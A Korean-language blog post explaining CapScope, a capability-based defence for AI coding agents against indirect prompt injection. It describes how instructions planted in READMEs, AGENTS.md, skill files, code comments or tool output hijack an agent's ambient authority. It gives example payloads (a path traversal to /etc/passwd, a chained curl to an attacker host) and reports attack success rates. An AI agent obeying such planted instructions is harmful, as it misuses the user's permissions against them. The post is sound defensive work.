AI 코딩 에이전트 보안의 새로운 기준: 권한은 문자열이 아니다

쉽게 말해 이렇습니다. 에이전트가 파일을 읽거나 명령을 실행할 때, “어떤 파일이든 읽을 수 있고 어떤 명령이든 실행할 수 있는” 전역 권한이 부여됩니다. 그런데 에이전트가 읽어들이는 소스 코드나 README에 악의적인 지침이 숨겨져 있다면? 에이전트는 이를 사용자의 명령으로 착각하여 민감한 파일을 수정하거나 삭제하는 ‘혼란스러운 대리인(Confused Deputy)’으로 돌변합니다. 이것이 바로 간접 프롬프트 주입(Indirect Prompt Injection)입니다.

앰비언트 권한의 함정: 이름이 곧 권한이 되는 위험한 구조

현재 대부분의 코딩 에이전트 환경은 ‘앰비언트 권한(Ambient Authority)’ 모델을 따르고 있습니다. 이는 에이전트가 특정 리소스의 이름(예: 파일 경로)을 알고 호출하기만 하면, 해당 리소스에 접근할 수 있는 권한이 자동으로 부여되는 방식입니다.

하지만 이 모델은 에이전트가 접하는 모든 데이터가 안전하다는 위험한 가정에 기반합니다. 2026년 9월 공개된 연구에서는 이 구조적 취약점을 다음과 같이 날카롭게 지적합니다:

하네스(Harness)는 사용자의 권한을 가지고 있는 반면, 모델은 그 권한이 작용할 리소스의 이름을 선택합니다.

여기서 ‘하네스’는 에이전트가 돌아가는 실행 환경, 다시 말해 에이전트의 도구 호출을 관리·통제하는 프로그램을 뜻합니다. 즉, 공격자가 파일 이름이나 명령어를 텍스트에 심어두기만 하면, 에이전트의 권한을 이용해 사용자가 의도하지 않은 동작을 수행하도록 유도할 수 있는 것입니다.

비유하면 이렇습니다. 호텔 최고 관리자의 마스터키를 들고 들어간 직원이 방 안의 메모지에 적힌 가짜 지시를 보고 마스터키로 금고를 열어버리는 것과 같습니다. 문제는 마스터키가 모든 방의 금고를 열 수 있다는 것입니다.

CapScope의 핵심 원칙: 권한은 문자열이 아니다

이 문제를 근본적으로 해결하기 위해 제안된 CapScope 아키텍처는 네 가지 핵심 원칙으로 구성됩니다. 핵심은 하나입니다: 에이전트의 권한을 문자열이 아니라, 검증 가능한 객체로 관리하라.

원칙 1: 경로 정규화와 복합 명령 구문 분석

Read와 Write 권한을 검증할 때, 시스템은 ..이나 심볼릭 링크를 모두 해석한 후의 최종 경로를 확인합니다. 이는 에이전트가 ../../etc/passwd와 같은 경로를 통해 할당된 디렉토리를 탈출(Path Traversal)하는 것을 원천 차단합니다.

Exec 권한은 단순히 전체 명령 문자열을 보지 않습니다. 시스템은 명령어를 인자 단위로 쪼개어 모든 세그먼트를 개별적으로 검증합니다. 예를 들어, pytest만 실행할 수 있는 에이전트가 pytest && curl http://attacker.com과 같은 복합 명령을 실행하려 하면, 시스템은 curl 세그먼트를 감지하고 실행을 거부합니다.

원칙 2: 사전 검토(Preflight)와 권한 천장(Ceiling)

CapScope의 가장 결정적인 방어선은 에이전트가 오염되었을 가능성이 있는 데이터를 읽기 ‘전’에 권한의 최대치를 확정 짓는 것입니다.

중요한 점은 이 단계에서 오직 ‘신뢰할 수 있는 사용자 요청’과 ‘프로젝트 파일 이름 목록’만을 입력값으로 사용한다는 것입니다. 파일의 실제 내용은 절대 읽지 않습니다. 이렇게 도출된 권한의 상한선은 에이전트의 실행 환경 밖에 저장되며 즉시 동결됩니다. 일단 설정되면, 이후에 읽어들인 어떤 악의적인 텍스트도 이 권한을 확장할 수 없습니다.

원칙 3: 권한 축소(Attenuation)와 격리

테스트를 실행하는 Runner와 코드를 수정하는 Patcher가 동일한 권한을 공유하면 안 됩니다.

CapScope는 이를 권한 축소 개념으로 해결합니다. 오케스트레이터는 전체 권한 상한선을 보유하지만 직접 도구를 실행하지는 않습니다. 하위 에이전트가 생성될 때, 꼭 필요한 권한만을 떼어내어 전용 저장소에 부여합니다.

예를 들어, Runner에게는 테스트 실행과 읽기 권한만 부여하고 쓰기 권한은 주지 않습니다. 설령 Runner가 테스트 결과를 통해 주입된 공격을 받아 코드 수정을 시도해도, 쓰기 권한이 없으므로 공격은 즉시 차단됩니다.

원칙 4: 타이핑된 권한 분리(Typed Capabilities)

CapScope는 권한을 단순한 문자열이 아니라, 효과(어떤 동작)와 범위(어디까지)가 결합된 객체로 관리합니다. 읽기 전용, 특정 디렉토리 쓰기, 특정 테스트 스크립트 실행 등으로 세분화하여, 비정상 지시를 수신하더라도 임의 명령 실행이나 데이터 유출이 불가능하도록 격리합니다.

숫자가 증명하는 보안의 진화

CapScope의 실효성은 실제 평가 결과를 통해 확인되었습니다. 5개 파이썬 태스크, 5개 공격 경로(README, AGENTS.md, 스킬 파일, 소스 코드 주석, 도구 출력값), 300회의 테스트에서 나타난 결과는 다음과 같습니다.

기존 환경에서는 공격의 절반 이상이 성공했지만, CapScope 적용 시 비인가 실행은 75회 중 3회로 급감했습니다. 보안을 강화했음에도 작업 성공률은 72에서 68로 매우 근소한 차이만을 보였습니다.

성공했던 3건의 공격은 권한 범위가 너무 넓게 설정되었거나, 모델이 생성한 서브태스크 정의 자체에 공격 의도가 반영된 경우였습니다. 이는 설계자가 권한의 범위를 얼마나 세밀하게 정의해야 하는지 시사하는 중요한 지점입니다.

실무에 적용하려면

시스템 프롬프트에 방어 지침을 명시하는 것만으로는 충분하지 않습니다. 에이전트가 호출 가능한 도구 목록 자체를 서브 에이전트 단위에서 동적으로 제한하는 실행 환경을 결합해야 합니다.

구체적으로는 코드를 읽는 에이전트에게는 읽기 권한만, 코드를 수정하는 에이전트에게는 특정 파일 쓰기 권한만, 테스트를 실행하는 에이전트에게만 테스트 러너 실행 권한을 배분하는 구조를 적용할 수 있습니다.

물론 트레이드오프는 존재합니다. 서브 에이전트를 생성할 때마다 권한 범위를 정밀하게 선언해야 하는 설계 비용이 추가됩니다. 하지만 에이전트가 점점 더 자율적으로 진화할수록, 그 자율성을 안전하게 통제하는 실행 환경의 중요성은 커질 수밖에 없습니다.

결론

“에이전트의 권한을 문자열이 아닌 격리된 객체로 관리하면, 보안을 강화하면서도 작업 성공률은 유지할 수 있다.” 이것이 CapScope가 300회 실험으로 증명한 핵심입니다.

이제 에이전트의 활동 범위를 물리적으로 제한하는 설계가 필요합니다. 권한을 단순한 문자열로 취급하고 전역적으로 부여하던 시대는 끝났습니다.